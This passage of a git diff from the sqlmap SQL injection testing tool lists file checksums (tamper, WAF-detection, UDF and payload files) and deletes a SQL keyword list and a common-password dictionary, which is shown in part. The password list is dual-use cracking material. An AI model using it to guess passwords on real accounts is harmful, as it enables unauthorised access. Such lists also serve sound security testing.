tamper/unmagicquotes.py -f9f4e7316898109c3d5f3653cf162e12 tamper/uppercase.py -91b99614063348c67ce7ce5286a76392 tamper/varnish.py -db49128b094326fd87a6a998c27a5514 tamper/versionedkeywords.py -fc571c746951a5306591e04f70ddc46e tamper/versionedmorekeywords.py -d39ce1f99e268dc7f92b602656f49461 tamper/xforwardedfor.py -b1c02296b4e3b0ebaa58b9dcd914cbf4 thirdparty/ansistrm/ansistrm.py -d41d8cd98f00b204e9800998ecf8427e thirdparty/ansistrm/__init__.py -7abd52c4381afd8ac07d5978c8897c2b thirdparty/beautifulsoup/beautifulsoup.py -cb2e1fe7c404dff41a2ae9132828f532 thirdparty/beautifulsoup/__init__.py -ff54a1d98f0ab01ba7b58b068d2ebd26 thirdparty/bottle/bottle.py -4528e6a7bb9341c36c425faf40ef32c3 thirdparty/bottle/__init__.py -b20f539dc45fa9e514c1eb4f5aa8b5c6 thirdparty/chardet/big5freq.py -44159687c2bae35f165b44f07f5f167a thirdparty/chardet/big5prober.py -c80b09e2a63b375c02c8c1e825a953c5 thirdparty/chardet/chardetect.py -d2c4ad8cc905d95f148ead169d249eb8 thirdparty/chardet/chardistribution.py -24c57085435b8ad1a7bf9ff4ffe6cce0 thirdparty/chardet/charsetgroupprober.py -0cb6549c5cf979c8023f8aaf3392a117 thirdparty/chardet/charsetprober.py -241dd3b7d3eb97ae384320fc8346c6ff thirdparty/chardet/codingstatemachine.py -73f2b9ae331ab011571a3b3a2c62acc1 thirdparty/chardet/compat.py -6cccf2eada7dfa841a5c39aaecb037e7 thirdparty/chardet/constants.py -dd0087e46f835b791a5c9904fcda2de3 thirdparty/chardet/cp949prober.py -ecf56c6473c5a9bc0540a1ca11ec998a thirdparty/chardet/escprober.py -00590b3c94c4db8f25639ab261e4c725 thirdparty/chardet/escsm.py -99bc93e45136ecd15d8dfb489059f118 thirdparty/chardet/eucjpprober.py -65b6b3e75845e033ce34c11ccdd85450 thirdparty/chardet/euckrfreq.py -cc2282aef66a161b3451f9cf455fdd7d thirdparty/chardet/euckrprober.py -f13fee8c7bd6db0e8c40030ccacdfbde thirdparty/chardet/euctwfreq.py -ca66f5277872165faa5140068794604a thirdparty/chardet/euctwprober.py -0fb5414fcc0bdb8b04af324015505c06 thirdparty/chardet/gb2312freq.py -84284584b8e29f50f40781205a9d4e76 thirdparty/chardet/gb2312prober.py -354a83d1bb3c20b4626b6c4ad54d163a thirdparty/chardet/hebrewprober.py -d91ddc14e31824faacd96fa88e42a6b8 thirdparty/chardet/__init__.py -03be91b7ead4725af61234d4852bb7ab thirdparty/chardet/jisfreq.py -b59a7b8b0debe197444bf831ba42bbe9 thirdparty/chardet/jpcntx.py -e4e05437410aa80cf9a13afac19997fe thirdparty/chardet/langbulgarianmodel.py -74ce958cbef2eee08a7a04fb4db41260 thirdparty/chardet/langcyrillicmodel.py -7090da7635347b767b4eb194f697207d thirdparty/chardet/langgreekmodel.py -22df1e2996355e4c082cc0b2f8dbe261 thirdparty/chardet/langhebrewmodel.py -3b86d62fe73022a609b2e8095edecf87 thirdparty/chardet/langhungarianmodel.py -4f941425be84ee4e1b7ccb7c4b31e8d8 thirdparty/chardet/langthaimodel.py -9e7400a368b70c1acccab78d2cc489cd thirdparty/chardet/latin1prober.py -c27857a02a65a1100f3195f95c50aff9 thirdparty/chardet/mbcharsetprober.py -719ecf479d507a3e6450aefbaa42fcc8 thirdparty/chardet/mbcsgroupprober.py -2fd9f3c93568c552779bd46990027c36 thirdparty/chardet/mbcssm.py -93349a5fa5cb824d1485cd5f3a53928a thirdparty/chardet/sbcharsetprober.py -ee25f2a03587e2c283eab0b36c9e5783 thirdparty/chardet/sbcsgroupprober.py -c9349824f2647962175d321cc0c52134 thirdparty/chardet/sjisprober.py -bcae4c645a737d3f0e7c96a66528ca4a thirdparty/chardet/universaldetector.py -6f8b3e25472c02fb45a75215a175991f thirdparty/chardet/utf8prober.py -1dd9a97cef4c8e7da7082c1f0518a19b thirdparty/clientform/clientform.py -722281d87fb13ec22555480f8f4c715b thirdparty/clientform/__init__.py -0b625ccefa6b066f79d3cbb3639267e6 thirdparty/colorama/ansi.py -7ec474bef2432a1b45001bb87f2ab25f thirdparty/colorama/ansitowin32.py -ed4d76c08741d34ac79f6488663345f7 thirdparty/colorama/initialise.py -c0707ca77ccb4a2c0f12b4085057193c thirdparty/colorama/__init__.py -ad3d022d4591aee80f7391248d722413 thirdparty/colorama/win32.py -cdd682cbf77137ef4253b77a95ed9bd8 thirdparty/colorama/winterm.py -be7eac2e6cfb45c5e297ec5eee66e747 thirdparty/fcrypt/fcrypt.py -e00542d22ffa8d8ac894c210f38454be thirdparty/fcrypt/__init__.py -5bf76c1e6f4674cec65d89814d989304 thirdparty/gprof2dot/gprof2dot.py -855372c870a23d46683f8aa39d75f6a1 thirdparty/gprof2dot/__init__.py -d41d8cd98f00b204e9800998ecf8427e thirdparty/__init__.py -e3b18f925d125bd17c7e7a7ec0b4b85f thirdparty/keepalive/__init__.py -c7e8085d9db7a798540b3bad4546dd4a thirdparty/keepalive/keepalive.py -d41d8cd98f00b204e9800998ecf8427e thirdparty/magic/__init__.py -bf318e0abbe6b2e1a167a233db7f744f thirdparty/magic/magic.py -d41d8cd98f00b204e9800998ecf8427e thirdparty/multipart/__init__.py -82432cb4ef575aa16900ba221cc1dc98 thirdparty/multipart/multipartpost.py -3e502b04f3849afbb7f0e13b5fd2b5c1 thirdparty/odict/__init__.py -74048dca0470bc78af73f0aafccfd069 thirdparty/odict/odict.py -0105f1734f326704d2d68839084ca661 thirdparty/oset/_abc.py -54a861de0f08bb80c2e8846579ec83bd thirdparty/oset/__init__.py -6c79e6d14e031beebe6de127b53c7c93 thirdparty/oset/pyoset.py -94a4abc0fdac64ef0661b82aff68d791 thirdparty/prettyprint/__init__.py -ff80a22ee858f5331b0c088efa98b3ff thirdparty/prettyprint/prettyprint.py -5c70f8e5f7353aedc6d8d21d4fb72b37 thirdparty/pydes/__init__.py -a7f735641c5b695f3d6220fe7c91b030 thirdparty/pydes/pyDes.py -d41d8cd98f00b204e9800998ecf8427e thirdparty/socks/__init__.py -afd97f26bffa0532ee4eb4f5f8ec1ab7 thirdparty/socks/socks.py -d41d8cd98f00b204e9800998ecf8427e thirdparty/termcolor/__init__.py -d97198005a387a9d23916c616620ef7f thirdparty/termcolor/termcolor.py -bf55909ad163b58236e44b86e8441b26 thirdparty/wininetpton/__init__.py -a44e7cf30f2189b2fbdb635b310cdc0c thirdparty/wininetpton/win_inet_pton.py -855372c870a23d46683f8aa39d75f6a1 thirdparty/xdot/__init__.py -fb6c71a25d5a93bf20ab99fe4e31e0dd thirdparty/xdot/xdot.py -08c706478fad0acba049d0e32cbb6411 udf/mysql/linux/32/lib_mysqludf_sys.so_ -1501fa7150239b18acc0f4a9db2ebc0d udf/mysql/linux/64/lib_mysqludf_sys.so_ -70d83edb90c4a20bd95eb62f71c99bd0 udf/mysql/windows/32/lib_mysqludf_sys.dll_ -15aaa93872ca87366065568375ad8eb1 udf/mysql/windows/64/lib_mysqludf_sys.dll_ -0ee1310d4e2a4cc5a7295df01a3a78bf udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ -c7d9e1fcac5f047edf17d79a825fb64b udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ -ec41a080f4570c3866b9a7219f7623c4 udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ -337e2b84dfb089d1ba78323ab2fd21bd udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ -e3234ad91b65c476e69743b196ea8394 udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ -2e39682ab7f7f9d6bcce6a3f9dac576b udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ -b17ade3fe472b00f6d4d655f0d1036b2 udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ -3dfc42ea62f5db4196a1b736c603ef0f udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ -fe297bfe5e27e7f99d64b2d6baa766fe udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ -d7ce763983f5ef4cdae07480c7e16c36 udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ -f9e5d7a8f1fbd8df80d07f72ada0251b udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ -10a20abaf98ff25527702c7e37187427 udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ -0b5158292758f4a67cb1bdfcefcd4ef3 udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ -1d8eb0e3d38f1265ea1bef7f9ec60230 udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ -1222dac08cf53e31e74e350a2c17452f udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ -27761c5e046da59f1f1e11f6d194e38a udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ -a6b9c964f7c7d7012f8f434bbd84a041 udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ -d9006810684baf01ea33281d21522519 udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ -ca3ab78d6ed53b7f2c07ed2530d47efd udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ -0d3fe0293573a4453463a0fa5a081de1 udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ -d6f06b1463501392e7e578d511ffb4d8 waf/360.py -2d63c46bed78aec2966a363d5db800fd waf/aesecure.py -b6bc83ae9ea69cf96e9389bde8250c7c waf/airlock.py -34b8ec9f438d7daa56aa016e6c09fadb waf/anquanbao.py -7ab1a7cd51a02899592f4f755d36a02e waf/approach.py -425f2599f57ab81b4fff67e6b442cccc waf/armor.py -46a1d30bb52048c2092593acfa71bd52 waf/asm.py -9dbec5d674ed4c762ffc9bc3ab402739 waf/aws.py -e57a22864477ad23ae6a3d308f9b5410 waf/barracuda.py -941714dfea605d59cb1544e5c376ac58 waf/bekchy.py -1712d76bd4adb705f3317ff5908acdcd waf/bitninja.py -2608fbe2c80fae99bb09db1f93d80cdd waf/bluedon.py -8385218d8a1863dbfd4274db36880dfe waf/cerber.py -5ae64cad95b7f904c350cc81230c3bd1 waf/chinacache.py -a05edf8f2962dfff0457b7a4fd5e169c waf/ciscoacexml.py -af079de99a8ec6988d28aa4c0aa32cf9 waf/cloudbric.py -8fec83056c8728076ab17ab3a2ebbe7b waf/cloudflare.py -9ae3dfb7c03da53fb67c6c3cb56b4827 waf/cloudfront.py -847ee97f6e0f8aeec61afd3e0c91543b waf/comodo.py -4ed76fdf2add2405bb6157ac025e01b9 waf/crawlprotect.py -4254527ec80588f5289f56c7b52c4b30 waf/distil.py -886c6502a6a2aae49921efed8d439f7b waf/dotdefender.py -a8412619d7f26ed6bc9e0b20a57b2324 waf/edgecast.py -5df01dde939c0d22bc163730873e9854 waf/expressionengine.py -588d2f9a8f201e120e74e508564cb487 waf/fortiweb.py -447f6d63b6f691a852ca198afaaac4a6 waf/generic.py -4ea580dd1b9679bd733866976ad5d81e waf/godaddy.py -27385b15477031a3aff25df601a1ff51 waf/greywizard.py -256a7ea2c1cd2745fe788cf8f6123f8a waf/imunify360.py -f4e3fb185b92483832d14b532f467b35 waf/incapsula.py -fb6be55d21a70765e35549af2484f762 waf/__init__.py -a3ee375714987acccc26d1b07c2e8af7 waf/isaserver.py -e6994165497cef25d7a785cd3d4a3c64 waf/janusec.py -ce9cf35919a92d65347bb74ca0c5c86f waf/jiasule.py -f44ed04eeb4287c11ce277703ec7d72d waf/knownsec.py -8c3977c543ca4ec6d4231f604217cf94 waf/kona.py -d4f36e44f496f4d51baa3241eabc60fd waf/malcare.py -509af267f45485f3cb1c839fa040ff07 waf/modsecurity.py -78af8e791207db9723a14bddeb7524af waf/naxsi.py -8004b57e9b8e19060aae5b82ecb87472 waf/netscaler.py -96e1902b7e4297173d519b00c86f6a02 waf/newdefend.py -d03dfe93a14c966b88f5baf59ce2b091 waf/ninjafirewall.py -a59aff03a5b3fb40ea0feb3489677040 waf/onmessageshield.py -532b6f8de357a9b88a313944e1756538 waf/paloalto.py -f9de9375ffd0447ba93b215493d327a1 waf/perimeterx.py -2979bb64c24256a83625d75a385dde9b waf/profense.py -8de0d46738335a4e498c4ac9038ac3c3 waf/proventia.py -ac60456fe7af4eb501d448910e98ee4b waf/radware.py -1315066be1abb4f1d34290239be0af14 waf/reblaze.py -987389e4f403b7615d6d8006420a6260 waf/requestvalidationmode.py -8dae5619edafaaceccf1c4eb051c7d22 waf/rsfirewall.py -d2d9718de217dd07d9e66b2e6ad61380 waf/safe3.py -213062db202a6eb0939a6674f96be551 waf/safedog.py -34440ee94fcff88b4158e86635176547 waf/secureentry.py -ac0728ddb7a15b46b0eabd78cd661f8c waf/secureiis.py -d425f890541a81cc11b0905842194274 waf/securesphere.py -ba37e1c37fa0e3688873f74183a9cb9c waf/senginx.py -2602a8baed4da643e606a379e4dc75db waf/shieldsecurity.py -fc21ce1e6e597e44818c03d9cb859e83 waf/siteground.py -332f27cfa02abca513719851850c782e waf/siteguard.py -c842d298e61a87b32668c8402a0d87b5 waf/sitelock.py -a840fcd2bb042694f9aab2859e7c9b30 waf/sonicwall.py -45683bfe7a428f47745416c727a789bd waf/sophos.py -ed1ecabfa8396e70494b0a3d70a22eb1 waf/squarespace.py -8ace2ad70a4bba8825c8538e349839da waf/stackpath.py -74bd52941b606d15f1a6cdc7b52f761c waf/sucuri.py -205beb7ed5e70119f8700a9e295b6a4a waf/tencent.py -ba0fb1e6b815446b9d6f30950900fc80 waf/trafficshield.py -1c15216824f96e23a76591ac29eb6d7d waf/urlmaster.py -876c746d96193071271cb8b7e00e1422 waf/urlscan.py -80314083009c87d32bf32d84e8bbb7be waf/varnish.py -455bb16f552e7943e0a5cf35e83a74ea waf/virusdie.py -67df54343a85fe053226e2a5483b2c64 waf/wallarm.py -114000c53115fa8f4dd9b1b9122ec32a waf/watchguard.py -a7b8c4c3d1463409e0e204932f0ddff0 waf/webknight.py -ac9e4e3ced77012ed97284634a9ffc74 waf/wordfence.py -e69f77220558564785f0b3c961782a93 waf/yundun.py -a560bee3e948b97af2c88805933dcaad waf/yunsuo.py -c8b6517da2c8a28d474956e3a6b8c1ed waf/zenedge.py -e68f399aeaa5b516f043af88dd4871a0 xml/banner/generic.xml -d8925c034263bf1b83e7d8e1c78eec57 xml/banner/mssql.xml -7b21aeb3ad66d7686eacd23a6346292c xml/banner/mysql.xml -9b262a617b06af56b1267987d694bf6f xml/banner/oracle.xml -c26cd4fa986ddc9f6d92dd87c8fc61cb xml/banner/postgresql.xml -5f8975d03665aad58c3ee8acea85b06b xml/banner/server.xml -d48c971769c6131e35bd52d2315a8d58 xml/banner/servlet-engine.xml -5fa1805d3007c68b051f2c70afcf41ed xml/banner/set-cookie.xml -d989813ee377252bca2103cea524c06b xml/banner/sharepoint.xml -350605448f049cd982554123a75f11e1 xml/banner/x-aspnet-version.xml -ccb5e02a692f75d11b7fd00f1db48bf5 xml/banner/x-powered-by.xml -385570003bf7d84f2502191eae8268c6 xml/boundaries.xml -4df7176815d874cf99649201caf10642 xml/errors.xml -a279656ea3fcb85c727249b02f828383 xml/livetests.xml -11547289b99eaced5b55185a3230529a xml/payloads/boolean_blind.xml -0656ba4132cd02477be90e65a7ddf6ce xml/payloads/error_based.xml -06b1a210b190d52477a9d492443725b5 xml/payloads/inline_query.xml -82c65823a0af3fccbecf37f1c75f0b29 xml/payloads/stacked_queries.xml -92c41925eba27afeed76bceba6b18be2 xml/payloads/time_blind.xml -ac649aff0e7db413e4937e446e398736 xml/payloads/union_query.xml -7bbf2a82593efffc68e8001299a5691f xml/queries.xml diff --git a/txt/keywords.txt b/txt/keywords.txt deleted file mode 100644 index 0dbc046b00c..00000000000 --- a/txt/keywords.txt +++ /dev/null @@ -1,452 +0,0 @@ -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -# See the file 'LICENSE' for copying permission - -# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) - -ABSOLUTE -ACTION -ADD -ALL -ALLOCATE -ALTER -AND -ANY -ARE -AS -ASC -ASSERTION -AT -AUTHORIZATION -AVG -BEGIN -BETWEEN -BIT -BIT_LENGTH -BOTH -BY -CALL -CASCADE -CASCADED -CASE -CAST -CATALOG -CHAR -CHAR_LENGTH -CHARACTER -CHARACTER_LENGTH -CHECK -CLOSE -COALESCE -COLLATE -COLLATION -COLUMN -COMMIT -CONDITION -CONNECT -CONNECTION -CONSTRAINT -CONSTRAINTS -CONTAINS -CONTINUE -CONVERT -CORRESPONDING -COUNT -CREATE -CROSS -CURRENT -CURRENT_DATE -CURRENT_PATH -CURRENT_TIME -CURRENT_TIMESTAMP -CURRENT_USER -CURSOR -DATE -DAY -DEALLOCATE -DEC -DECIMAL -DECLARE -DEFAULT -DEFERRABLE -DEFERRED -DELETE -DESC -DESCRIBE -DESCRIPTOR -DETERMINISTIC -DIAGNOSTICS -DISCONNECT -DISTINCT -DO -DOMAIN -DOUBLE -DROP -ELSE -ELSEIF -END -ESCAPE -EXCEPT -EXCEPTION -EXEC -EXECUTE -EXISTS -EXIT -EXTERNAL -EXTRACT -FALSE -FETCH -FIRST -FLOAT -FOR -FOREIGN -FOUND -FROM -FULL -FUNCTION -GET -GLOBAL -GO -GOTO -GRANT -GROUP -HANDLER -HAVING -HOUR -IDENTITY -IF -IMMEDIATE -IN -INDICATOR -INITIALLY -INNER -INOUT -INPUT -INSENSITIVE -INSERT -INT -INTEGER -INTERSECT -INTERVAL -INTO -IS -ISOLATION -JOIN -KEY -LANGUAGE -LAST -LEADING -LEAVE -LEFT -LEVEL -LIKE -LOCAL -LOOP -LOWER -MATCH -MAX -MIN -MINUTE -MODULE -MONTH -NAMES -NATIONAL -NATURAL -NCHAR -NEXT -NO -NOT -NULL -NULLIF -NUMERIC -OCTET_LENGTH -OF -ON -ONLY -OPEN -OPTION -OR -ORDER -OUT -OUTER -OUTPUT -OVERLAPS -PAD -PARAMETER -PARTIAL -PATH -POSITION -PRECISION -PREPARE -PRESERVE -PRIMARY -PRIOR -PRIVILEGES -PROCEDURE -READ -REAL -REFERENCES -RELATIVE -REPEAT -RESIGNAL -RESTRICT -RETURN -RETURNS -REVOKE -RIGHT -ROLLBACK -ROUTINE -ROWS -SCHEMA -SCROLL -SECOND -SECTION -SELECT -SESSION -SESSION_USER -SET -SIGNAL -SIZE -SMALLINT -SOME -SPACE -SPECIFIC -SQL -SQLCODE -SQLERROR -SQLEXCEPTION -SQLSTATE -SQLWARNING -SUBSTRING -SUM -SYSTEM_USER -TABLE -TEMPORARY -THEN -TIME -TIMESTAMP -TIMEZONE_HOUR -TIMEZONE_MINUTE -TO -TRAILING -TRANSACTION -TRANSLATE -TRANSLATION -TRIM -TRUE -UNDO -UNION -UNIQUE -UNKNOWN -UNTIL -UPDATE -UPPER -USAGE -USER -USING -VALUE -VALUES -VARCHAR -VARYING -VIEW -WHEN -WHENEVER -WHERE -WHILE -WITH -WORK -WRITE -YEAR -ZONE - -# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html) -ADD -ALL -ALTER -ANALYZE -AND -ASASC -ASENSITIVE -BEFORE -BETWEEN -BIGINT -BINARYBLOB -BOTH -BY -CALL -CASCADE -CASECHANGE -CAST -CHAR -CHARACTER -CHECK -COLLATE -COLUMN -CONCAT -CONDITIONCONSTRAINT -CONTINUE -CONVERT -CREATE -CROSS -CURRENT_DATE -CURRENT_TIMECURRENT_TIMESTAMP -CURRENT_USER -CURSOR -DATABASE -DATABASES -DAY_HOUR -DAY_MICROSECONDDAY_MINUTE -DAY_SECOND -DEC -DECIMAL -DECLARE -DEFAULTDELAYED -DELETE -DESC -DESCRIBE -DETERMINISTIC -DISTINCTDISTINCTROW -DIV -DOUBLE -DROP -DUAL -EACH -ELSEELSEIF -ENCLOSED -ESCAPED -EXISTS -EXIT -EXPLAIN -FALSEFETCH -FLOAT -FLOAT4 -FLOAT8 -FOR -FORCE -FOREIGNFROM -FULLTEXT -GRANT -GROUP -HAVING -HIGH_PRIORITYHOUR_MICROSECOND -HOUR_MINUTE -HOUR_SECOND -IF -IFNULL -IGNORE -ININDEX -INFILE -INNER -INOUT -INSENSITIVE -INSERT -INTINT1 -INT2 -INT3 -INT4 -INT8 -INTEGER -INTERVALINTO -IS -ISNULL -ITERATE -JOIN -KEY -KEYS -KILLLEADING -LEAVE -LEFT -LIKE -LIMIT -LINESLOAD -LOCALTIME -LOCALTIMESTAMP -LOCK -LONG -LONGBLOBLONGTEXT -LOOP -LOW_PRIORITY -MATCH -MEDIUMBLOB -MEDIUMINT -MEDIUMTEXTMIDDLEINT -MINUTE_MICROSECOND -MINUTE_SECOND -MOD -MODIFIES -NATURAL -NOTNO_WRITE_TO_BINLOG -NULL -NUMERIC -ON -OPTIMIZE -OPTION -OPTIONALLYOR -ORDER -OUT -OUTER -OUTFILE -PRECISIONPRIMARY -PROCEDURE -PURGE -READ -READS -REALREFERENCES -REGEXP -RELEASE -RENAME -REPEAT -REPLACE -REQUIRERESTRICT -RETURN -REVOKE -RIGHT -RLIKE -SCHEMA -SCHEMASSECOND_MICROSECOND -SELECT -SENSITIVE -SEPARATOR -SET -SHOW -SMALLINTSONAME -SPATIAL -SPECIFIC -SQL -SQLEXCEPTION -SQLSTATESQLWARNING -SQL_BIG_RESULT -SQL_CALC_FOUND_ROWS -SQL_SMALL_RESULT -SSL -STARTINGSTRAIGHT_JOIN -TABLE -TERMINATED -THEN -TINYBLOB -TINYINT -TINYTEXTTO -TRAILING -TRIGGER -TRUE -UNDO -UNION -UNIQUEUNLOCK -UNSIGNED -UPDATE -USAGE -USE -USING -UTC_DATEUTC_TIME -UTC_TIMESTAMP -VALUES -VARBINARY -VARCHAR -VARCHARACTERVARYING -VERSION -WHEN -WHERE -WHILE -WITH -WRITEXOR -YEAR_MONTH -ZEROFILL diff --git a/txt/smalldict.txt b/txt/smalldict.txt deleted file mode 100644 index 7e153f7be06..00000000000 --- a/txt/smalldict.txt +++ /dev/null @@ -1,4596 +0,0 @@ - ------- -!@#$% -!@#$%^ -!@#$%^& -!@#$%^&* -@#$%^& -* -0 -0000 -00000 -000000 -0000000 -00000000 -0007 -007 -007007 -01011980 -01012011 -010203 -0123456789 -06071992 -098765 -0987654321 -0racl3 -0racl38 -0racl38i -0racl39 -0racl39i -0racle -0racle8 -0racle8i -0racle9 -0racle9i -1 -101010 -102030 -1022 -10sne1 -1111 -11111 -111111 -1111111 -11111111 -1111111111 -111222 -112233 -11223344 -1212 -121212 -12121212 -1213 -1214 -1225 -123 -12312 -123123 -123123123 -123123a -12321 -1232323q -123321 -1234 -12341234 -12344321 -12345 -1234554321 -123456 -1234567 -12345678 -123456789 -1234567890 -12345678910 -123456789a -123456789q -123456a -123456q -12345a -12345q -12345qwert -1234abcd -1234qwer -123654 -123654789 -123789 -123abc -123asd -123asdf -123go -123qwe -124578 -12axzas21a -12qwaszx -1313 -131313 -1316 -1332 -134679 -13579 -1412 -141414 -142536 -1430 -147147 -147258 -147258369 -147852 -147852369 -151515 -159357 -159753 -159951 -1701d -171717 -1818 -181818 -1911 -1928 -1948 -1950 -1952 -1953 -1955 -1956 -1960 -1964 -1966 -1969 -1973 -1974 -1975 -1977 -1978 -1979 -1980 -1981 -1982 -1984 -1985 -1986 -1987 -1988 -1989 -1990 -1991 -1992 -199220706 -1993 -1994 -1996 -1a2b3c -1a2b3c4d -1chris -1kitty -1p2o3i -1q2w3e -1q2w3e4r -1q2w3e4r5t -1qaz2wsx -1qazxsw2 -1qw23e -1qwerty -2000 -2001 -2020 -202020 -2112 -21122112 -212121 -22 -2200 -2222 -22222 -222222 -2222222 -22222222 -2252 -232323 -242424 -246810 -252525 -256879 -2kids -3010 -3112 -3141 -315475 -321321 -333 -3333 -33333 -333333 -3333333 -33333333 -3533 -36633663 -369 -3bears -4055 -4128 -420420 -4321 -4444 -44444 -444444 -4444444 -44444444 -456123 -456789 -4788 -4815162342 -485112 -4854 -4runner -5050 -5121 -514007 -5150 -5252 -54321 -5555 -55555 -555555 -5555555 -55555555 -5683 -57chevy -6262 -6301 -654321 -6666 -66666 -666666 -6666666 -66666666 -6969 -696969 -69696969 -741852 -741852963 -753951 -7654321 -777 -7777 -77777 -777777 -7777777 -77777777 -786786 -789456 -789456123 -7dwarfs -80486 -852456 -8675309 -87654321 -8888 -88888 -888888 -8888888 -88888888 -90210 -911 -9379992 -987654 -98765432 -987654321 -9999 -99999 -999999 -9999999 -99999999 -999999999 -a -a12345 -a123456 -a1234567 -a1b2c3 -a1b2c3d4 -aa -aaa -aaaa -aaaaa -aaaaaa -aaaaaaaa -aardvark -aaron -abacab -abbott -abby -abc -abc123 -ABC123 -abc12345 -abcd -abcd123 -abcd1234 -abcde -abcdef -Abcdef -abcdefg -Abcdefg -abcdefgh -abgrtyu -abigail -abm -absolut -academia -access -access14 -accord -account -ace -acropolis -action -active -acura -adam -adg -adgangskode -adi -adidas -adldemo -admin -Admin -admin1 -admin12 -admin123 -adminadmin -administrator -adobe1 -adobe123 -adobeadobe -adrian -adriana -adrock -advil -aerobics -africa -agent -agosto -agustin -ahl -ahm -airborne -airforce -airoplane -airplane -airwolf -ak -akf7d98s2 -aki123 -alabama -alaska -albert -alberto -alejandra -alejandro -alex -alex1 -alexande -alexander -alexandr -alexandra -alexis -Alexis -alfaro -alfred -ali -alice -alice1 -alicia -alien -aliens -alina -aline -alison -allegro -allen -allison -allo -allstate -aloha -alpha -Alpha -alpha1 -alpine -alr -altamira -althea -altima -altima1 -always -alyssa -amadeus -amanda -amanda1 -amateur -amazing -amber -amelia -amelie -america -american -amigos -amour -ams -amsterdam -amv -amy -anaconda -anders -anderson -andre -andre1 -andrea -andrea1 -andreas -andres -andrew -andrew! -Andrew -andrew1 -andrey -andromed -andromeda -andy -angel -angel1 -angela -angelica -angelina -angelito -angelo -angels -angie -angie1 -angus -animal -Animals -anita -ann -anna -anne -anneli -annette -annie -anonymous -antares -anthony -Anthony -anthony1 -antonio -anything -ap -apache -apollo -apollo13 -apple -apple1 -apple123 -apple2 -applepie -apples -applmgr -applsys -applsyspub -apppassword -apps -april -aptiva -aq -aqdemo -aqjava -aqua -aquarius -aquser -ar -aragorn -archie -argentina -ariane -ariel -Ariel -arizona -arlene -armando -arnold -arrow -arsenal -artemis -arthur -artist -arturo -asd123 -asdasd -asddsa -asdf -asdf123 -asdf1234 -asdfasdf -asdfg -asdfgh -Asdfgh -asdfghj -asdfghjk -asdfghjkl -asdfjkl -asdfjkl; -asdf;lkj -asdsa -asdzxc -asf -asg -ashley -ashley1 -ashraf -ashton -asl -aso -asp -aspateso19 -aspen -ass -assassin -asshole -assman -assmunch -ast -asterix -ath -athena -atlanta -atlantis -attila -audiouser -audrey -august -august07 -aurelie -aurora -austin -australia -autumn -avalon -avatar -avenger -avenir -awesome -ax -ayelet -aylmer -az -az1943 -azerty -babes -baby -babydoll -babygirl -babygirl1 -babygurl1 -babylon5 -bach -backup -backupexec -badass -badboy -badger -bailey -Bailey -ballin1 -bambam -bambi -bamboo -banana -bananas -bandit -bar -baraka -barbara -barbie -barcelona -barn -barney -barney1 -barnyard -barrett -barry -bart -bartman -baseball -baseball1 -basf -basil -basket -basketball -bass -bastard -Bastard -batman -batman1 -baxter -bball -bbbbbb -bc4j -beach -beaches -beagle -bean21 -beaner -beanie -beans -bear -bears -beast -beasty -beatles -beatrice -beatriz -beautiful -beauty -beaver -beavis -Beavis -beavis1 -bebe -becca -beebop -beer -belgium -believe -belize -bella -belle -belmont -ben -benito -benjamin -benji -benny -benoit -benson -bentley -beowulf -berenice -berlin -bernard -bernardo -bernie -berry -bertha -beryl -best -beta -betacam -betito -betsy -betty -bharat -bianca -bic -bichilora -bichon -bigal -bigben -bigbird -bigboss -bigboy -bigcock -bigdaddy -bigdick -bigdog -biggles -bigmac -bigman -bigred -bigtits -biker -bil -bilbo -bill -bills -billy -billy1 -bim -bimmer -bingo -binky -bioboy -biochem -biology -bird -bird33 -birdie -birdy -birthday -bis -biscuit -bishop -bismillah -Bismillah -bisounours -bitch -bitch1 -bitches -biteme -bitter -biv -bix -biz -blabla -black -blackjack -blah -blahblah -blanche -blazer -blessed -blessing -blewis -blinds -blink182 -bliss -blitz -blizzard -blonde -blondes -blondie -blood -blowfish -blowjob -blowme -blue -bluebird -blueeyes -bluefish -bluejean -bluemoon -blues -bluesky -bmw -boat -bob -bobby -bobcat -bodhisattva -bogart -bogey -bogus -bollocks -bom -bombay -bond007 -Bond007 -bonita -bonjour -bonnie -Bonzo -boobie -boobies -booboo -Booboo -boobs -booger -boogie -boomer -booster -boots -bootsie -booty -boris -bosco -boss -BOSS -boss123 -boston -Boston -boulder -bourbon -bowling -boxer -boxers -bozo -bradley -brain -branch -brandi -brandon -brandon1 -brandy -brasil -braves -brazil -brenda -brendan -brent -brewster -brian -bridge -bridges -bright -brio_admin -britain -brittany -Broadway -broken -broker -bronco -broncos -bronte -brooke -brooklyn -brother -brothers -brownie -bruce -brucelee -brujita -bruno -brutus -bryan -bsc -bubba -bubba1 -bubble -bubbles -bubbles1 -buck -bucks -buddha -buddy -budgie -budlight -buffalo -buffett -buffy -bug_reports -bugs -bugsy -bull -bulldog -bulldogs -bullet -bulls -bullshit -bunny -burns -burton -business -buster -butch -butler -butter -buttercup -butterfly -butthead -button -buttons -buzz -byron -byteme -c00per -caballo -cachonda -cactus -caesar -caitlin -calendar -calgary -california -calvin -calvin1 -camaro -camay -camel -camera -cameron -camila -camille -campbell -camping -campus -canada -cancer -candy -canela -cannabis -cannon -cannondale -canon -Canucks -captain -car -carbon -cardinal -Cardinal -carebear -carl -carlos -carmen 